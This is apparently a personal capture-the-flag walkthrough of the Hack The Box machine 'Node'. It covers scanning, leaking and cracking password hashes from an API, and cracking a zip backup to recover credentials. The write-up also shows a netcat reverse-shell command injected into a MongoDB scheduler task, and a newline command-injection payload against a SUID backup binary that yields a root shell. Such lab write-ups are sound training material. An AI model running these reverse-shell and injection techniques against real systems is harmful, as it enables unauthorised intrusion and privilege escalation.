Hack The Box - Node (Without Metasploit)
Configuration
The operating system that I will be using to tackle this machine is a Kali Linux VM.
What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts
.
1
$ echo "10.10.10.58 node.htb" | sudo tee -a /etc/hosts
Reconnaissance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
$ rustscan --accessible -a node.htb -r 1-65535 -- -sT -sV -sC -Pn
File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.10.58:22
Open 10.10.10.58:3000
Starting Script(s)
Script to be run Some("nmap -vvv -p ")
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-15 00:25 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:25
Completed NSE at 00:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:25
Completed NSE at 00:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:25
Completed NSE at 00:25, 0.00s elapsed
Initiating Connect Scan at 00:25
Scanning node.htb (10.10.10.58) [2 ports]
Discovered open port 22/tcp on 10.10.10.58
Discovered open port 3000/tcp on 10.10.10.58
Completed Connect Scan at 00:25, 0.00s elapsed (2 total ports)
Initiating Service scan at 00:25
Scanning 2 services on node.htb (10.10.10.58)
Completed Service scan at 00:25, 11.04s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.58.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:25
Completed NSE at 00:25, 1.22s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:25
Completed NSE at 00:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:25
Completed NSE at 00:25, 0.00s elapsed
Nmap scan report for node.htb (10.10.10.58)
Host is up, received user-set (0.0047s latency).
Scanned at 2021-01-15 00:25:24 UTC for 13s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwesV+Yg8+5O97ZnNFclkSnRTeyVnj6XokDNKjhB3+8R2I+r78qJmEgVr/SLJ44XjDzzlm0VGUqTmMP2KxANfISZWjv79Ljho3801fY4nbA43492r+6/VXeer0qhhTM4KhSPod5IxllSU6ZSqAV+O0ccf6FBxgEtiiWnE+ThrRiEjLYnZyyWUgi4pE/WPvaJDWtyfVQIrZohayy+pD7AzkLTrsvWzJVA8Vvf+Ysa0ElHfp3lRnw28WacWSaOyV0bsPdTgiiOwmoN8f9aKe5q7Pg4ZikkxNlqNG1EnuBThgMQbrx72kMHfRYvdwAqxOPbRjV96B2SWNWpxMEVL5tYGb
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKQ4w0iqXrfz0H+KQEu5D6zKCfc6IOH2GRBKKkKOnP/0CrH2I4stmM1C2sGvPLSurZtohhC+l0OSjKaZTxPu4sU=
| 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB5cgCL/RuiM/AqWOqKOIL1uuLLjN9E5vDSBVDqIYU6y
3000/tcp open hadoop-datanode syn-ack Apache Hadoop
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-favicon: Unknown favicon MD5: 30F2CC86275A96B522F9818576EC65CF
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 00:25
Completed NSE at 00:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 00:25
Completed NSE at 00:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 00:25
Completed NSE at 00:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.97 seconds
Enumeration (1)
Port 3000 ExpressJS
This looks like a company website. The only thing we have is a Login
button, but unfortunately we cannot do much with it.
If you enter into Firefox
’s web console, navigate to Network
and refresh the page, you will see that there are many different javascript
files being loaded.
home.js
:
1
2
3
4
5
6
7
var controllers = angular.module('controllers');
controllers.controller('HomeCtrl', function ($scope, $http) {
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
});
It seems that there is an endpoint at /api/users/latest
. If we visit it, we see a bunch of usernames and password hashes!
However if we take these hashes and crack them with Crackstation
, we would only retrieve 2/3 of the passwords.
If we use any of these credentials to login, we would get a message saying the control panel is only available to admin users, and according to the data we got from /api/users/latest
, is_admin
is set to false
! I didn’t see any way to overwrite this is_admin
to true
, so we have to look for other ways.
profile.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var controllers = angular.module('controllers');
controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
$http.get('/api/users/' + $routeParams.username)
.then(function (res) {
$scope.user = res.data;
}, function (res) {
$scope.hasError = true;
if (res.status == 404) {
$scope.errorMessage = 'This user does not exist';
}
else {
$scope.errorMessage = 'An unexpected error occurred';
}
});
});
There was also a similar route /api/users/
, takes in a username
at the back. Lets try with tom
.
It only shows the user information on one user instead of multiple users. But what happens when we do not put a username
?
We now see an addtional user myP14ceAdm1nAcc0uNT
and his is_admin
is set to true
, so he must be able to access the control panel. Lets use Crackstation
again to use his hash.
Now if we login with myP14ceAdm1nAcc0uNT:manchester
, we will see a Download Backup
button.
Clicking it will download a file called myplace.backup
. If we open it, we will get a bunch of random alphanumeric characters. However at the end we will see some =
.
1
2
3
$ cat myplace.backup
...
AAAAAAQAAALSBLPQlAHZhci93d3cvbXlwbGFjZS9zdGF0aWMvcGFydGlhbHMvcHJvZmlsZS5odG1sVVQFAAMimapZdXgLAAEEAAAAAAQAAAAAUEsBAh4DFAAJAAgAfWMiS4Tw22u4BAAAFQ8AABgAGAAAAAAAAQAAALSBtvUlAHZhci93d3cvbXlwbGFjZS9hcHAuaHRtbFVUBQADvpWqWXV4CwABBAAAAAAEAAAAAFBLBQYAAAAAXwNfA3edAQDQ+iUAAAA=
Using the base64
, we can decode it and save the results to another file.
1
$ cat myplace.backup | base64 -d > results
The resulting file is a zip
file!
1
2
$ file results
results: Zip archive data, at least v1.0 to extract
Lets try to unzip it.
1
2
3
4
5
$ mv results results.zip
$ unzip results.zip
Archive: results.zip
creating: var/www/myplace/
[results.zip] var/www/myplace/package-lock.json password:
We are immediately prompted for a password. We can use zip2john
to retrieve a hash which we can crack to get the password!
1
2
3
4
5
6
7
8
9
10
$ zip2john results.zip > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword (output.zip)
1g 0:00:00:00 DONE (2021-01-14 20:16) 50.00g/s 9420Kp/s 9420Kc/s 9420KC/s sandrea..becky21
Use the "--show" option to display all of the cracked passwords reliably
Session completed
After unzipping it by using the magicword
as the password, we obtain what seems to be the source of the web application!
1
2
3
4
5
6
7
8
9
10
$ ls -al ./var/www/myplace
total 56
drwxr-xr-x 4 kali kali 4096 Sep 3 2017 .
drwxr-xr-x 3 kali kali 4096 Jan 15 07:37 ..
-rw-rw-r-- 1 kali kali 3861 Sep 2 2017 app.html
-rw-rw-r-- 1 kali kali 8058 Sep 3 2017 app.js
drwxr-xr-x 69 kali kali 4096 Sep 1 2017 node_modules
-rw-rw-r-- 1 kali kali 283 Sep 1 2017 package.json
-rw-r--r-- 1 kali kali 21264 Sep 1 2017 package-lock.json
drwxrwxr-x 6 kali kali 4096 Sep 1 2017 static
If we view app.js
, we find some MongoDB
credentials!
1
2
3
4
5
$ cat ./var/www/myplace/app.js
...
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
...
I then used the credentials on the ssh
service and it logs us in!
1
2
3
4
5
6
7
8
$ ssh mark@node.htb
The authenticity of host 'node.htb (10.10.10.58)' can't be established.
ECDSA key fingerprint is SHA256:I0Y7EMtrkyc9Z/92jdhXQen2Y8Lar/oqcDNLHn28Hbs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'node.htb,10.10.10.58' (ECDSA) to the list of known hosts.
mark@node.htb's password: 5AYRft73VtFpc84k
mark@node:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
Unfortunately, there was no user flag in mark
’s home directory.
Moving on, when checking the running processes, I saw another node
process running.
1
2
3
4
$ ps aux
tom 1219 0.0 5.7 1008568 43444 ? Ssl 10:14 0:02 /usr/bin/node /var/scheduler/app.js
...
tom 1224 0.0 7.8 1031336 59376 ? Ssl 10:14 0:03 /usr/bin/node /var/www/myplace/app.js
The other node
process was running /var/scheduler/app.js
so lets check it out.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mark@node:~$ cat /var/scheduler/app.js
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd);
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});
Judging from the code, at every 30s, it will query for all the documents in the tasks
collection and execute the contents of the cmd
property of each document found as a bash
command and then proceed to delete the documents.
Exploitation (1)
Now, we just need to access the MongoDB
directly and insert a document containing a command which will establish a reverse shell.
1
2
3
4
5
6
7
8
$ mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler
> db.tasks.insertOne({"cmd":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 1337 >/tmp/f"})
{
"acknowledged" : true,
"insertedId" : ObjectId("6001919a9b6e0212d49e4b24")
}
And then we setup our nc
listener.
1
2
$ nc lvnp 1337
listening on [any] 1337 ...
After a while , we will get a shell as tom
!
1
2
3
4
5
6
7
8
9
10
$ rlwrap nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.58] 43648
/bin/sh: 0: can't access tty; job control turned off
python -c "import pty; pty.spawn('/bin/bash')"
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
tom@node:/$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
user.txt
The user flag is in tom
’s home directory.
1
2
tom@node:/$ cat /home/tom/user.txt
e115XXXXXXXXXXXXXXXXXXXXXXXXXXXX
Enumeration (2)
When we check for files that have the SUID
bit set,
1
2
3
tom@node:/$ find `find / -perm -4000 -type f 2>/dev/null` -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
...
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup
We see that there a program called /usr/local/bin/backup
whose group owner is admin
, which tom
is in! That means if we execute this program, we will be running as the owner, or in this case is root
.
Weirdly enough, running it doesn’t return any outputs.
Going back to the app.js
we found in /var/www/myplace
, we see that this program is being used.
1
2
3
4
5
6
7
8
9
10
11
12
...
app.get('/api/admin/backup', function (req, res) {
if (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
proc.on("exit", function(exitCode) {
res.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
});
...
It seem to take in 3 parts, the -q
option, a backup_key
and a directory name. We already got 1 backup_key
we can use, which is from /var/www/myplace/app.js
. Lets create a directory, put a fake file and test it out.
1
2
3
4
tom@node:/$ mkdir /tmp/test
tom@node:/$ echo "hello world" > /tmp/test/test.txt
tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/test
UEsDBAoAAAAAAO1rL1IAAAAAAAAAAAAAAAAJABwAdG1wL3Rlc3QvVVQJAAMumQFgNZkBYHV4CwABBOgDAAAE6AMAAFBLAwQKAAkAAADtay9SLTsIrxgAAAAMAAAAEQAcAHRtcC90ZXN0L3Rlc3QudHh0VVQJAAMumQFgLpkBYHV4CwABBOgDAAAE6AMAAMZi5h0ojRxdCstFtxM/FIxJLl09pqn/Z1BLBwgtOwivGAAAAAwAAABQSwECHgMKAAAAAADtay9SAAAAAAAAAAAAAAAACQAYAAAAAAAAABAA7UEAAAAAdG1wL3Rlc3QvVVQFAAMumQFgdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAJAAAA7WsvUi07CK8YAAAADAAAABEAGAAAAAAAAQAAAKSBQwAAAHRtcC90ZXN0L3Rlc3QudHh0VVQFAAMumQFgdXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIApgAAALYAAAAAAA==
The output was a base64
string. If we follow what we did for the myplace.backup
, we will get back the original file!
1
2
3
4
5
6
7
8
$ echo "UEsDBAoAAAAAAO1rL1IAAAAAAAAAAAAAAAAJABwAdG1wL3Rlc3QvVVQJAAMumQFgNZkBYHV4CwABBOgDAAAE6AMAAFBLAwQKAAkAAADtay9SLTsIrxgAAAAMAAAAEQAcAHRtcC90ZXN0L3Rlc3QudHh0VVQJAAMumQFgLpkBYHV4CwABBOgDAAAE6AMAAMZi5h0ojRxdCstFtxM/FIxJLl09pqn/Z1BLBwgtOwivGAAAAAwAAABQSwECHgMKAAAAAADtay9SAAAAAAAAAAAAAAAACQAYAAAAAAAAABAA7UEAAAAAdG1wL3Rlc3QvVVQFAAMumQFgdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAJAAAA7WsvUi07CK8YAAAADAAAABEAGAAAAAAAAQAAAKSBQwAAAHRtcC90ZXN0L3Rlc3QudHh0VVQFAAMumQFgdXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIApgAAALYAAAAAAA==" | base64 -d > output.zip
$ unzip output.zip
Archive: output.zip
creating: tmp/test/
[output.zip] tmp/test/test.txt password:
extracting: tmp/test/test.txt
$ tmp/test/test.txt
hello world
This is interesting, lets try backing up the /root
directory, which will contain the root
flag.
1
2
3
4
tom@node:/$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
[+] Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
However, decoding it and unzipping will give the ASCII art of a troll face. Trying with /etc
which contains the /etc/shadow
file also didn’t work. If we run strings
, we start seeing something.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
tom@node:/$ strings /usr/local/bin/backup
...
Could not open file
Validated access token
Ah-ah-ah! You didn't say the magic word!
Finished! Encoded backup is below:
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==
/root
/etc
/tmp/.backup_%i
/usr/bin/zip -r -P magicword %s %s > /dev/null
/usr/bin/base64 -w0 %s
The target path doesn't exist
...
It seems that /root
and /etc
are listed here. Perhaps this is a blacklist? Also the base64
string above will return a ASCII art of a troll face as well. Lets see what functions calls are being made during execution.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
tom@node:/$ ltrace -s 200 /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /tmp/test
...
strcat("/e", "tc") = "/etc"
strcat("/etc", "/m") = "/etc/m"
strcat("/etc/m", "yp") = "/etc/myp"
strcat("/etc/myp", "la") = "/etc/mypla"
strcat("/etc/mypla", "ce") = "/etc/myplace"
strcat("/etc/myplace", "/k") = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey") = "/etc/myplace/key"
strcat("/etc/myplace/key", "s") = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r") = 0x9392008
fgets("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n", 1000, 0x9392008) = 0xffdc6f8f
strcspn("a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508\n", "\n") = 64
strcmp("45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474", "a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508") = -1
fgets("45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n", 1000, 0x9392008) = 0xffdc6f8f
strcspn("45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474\n", "\n") = 64
strcmp("45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474", "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474") = 0
fgets("3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n", 1000, 0x9392008) = 0xffdc6f8f
strcspn("3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110\n", "\n") = 64
strcmp("45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474", "3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110") = 1
We first see a bunch of strcmp
s which seems to be checks for the backup_key
. There is also the opening of the file /etc/myplace/keys
which contained all the backup_keys
.
1
2
3
4
tom@node:/$ cat /etc/myplace/keys
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
We also a bit of checks for blacklisted characters and strings.
1
2
3
4
5
6
7
8
9
10
11
12
...
strstr("/tmp/test", "..") = nil
strstr("/tmp/test", "/root") = nil
strchr("/tmp/test", ';') = nil
strchr("/tmp/test", '&') = nil
strchr("/tmp/test", '`') = nil
strchr("/tmp/test", '$') = nil
strchr("/tmp/test", '|') = nil
strstr("/tmp/test", "//") = nil
strcmp("/tmp/test", "/") = 1
strstr("/tmp/test", "/etc") = nil
...
And lastly, we see the zip
command being executed.
1
2
3
...
system("/usr/bin/zip -r -P magicword /tmp/.backup_202542863 /tmp/test > /dev/null")
...
We could perhaps inject some commands here since the directory name we supplied is part of the command being executed. However, we will need to watchout for the blacklisted characters and strings. After much trials, I managed to find a way being using newlines!
Exploitation (2)
By setting my directory name as "$(printf '\n/bin/sh -p\nid')"
, we will get a shell as root
!
1
2
# id
uid=0(root) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
The reason for this is because the final command performed by backup
will result to:
1
2
3
system("/usr/bin/zip -r -P magicword /tmp/.backup_202542863
/bin/sh
id > /dev/null")
It will be as if we are running 3 commands at the same time! The reason for the last id
behind is so that /bin/sh
will not run with > /dev/null
behind it, which will cause all the outputs of /bin/sh
to go to /dev/null
.
root.txt
The root flag is located in root
’s home directory, as usual.
1
2
# cat /root/root.txt
1722XXXXXXXXXXXXXXXXXXXXXXXXXXXX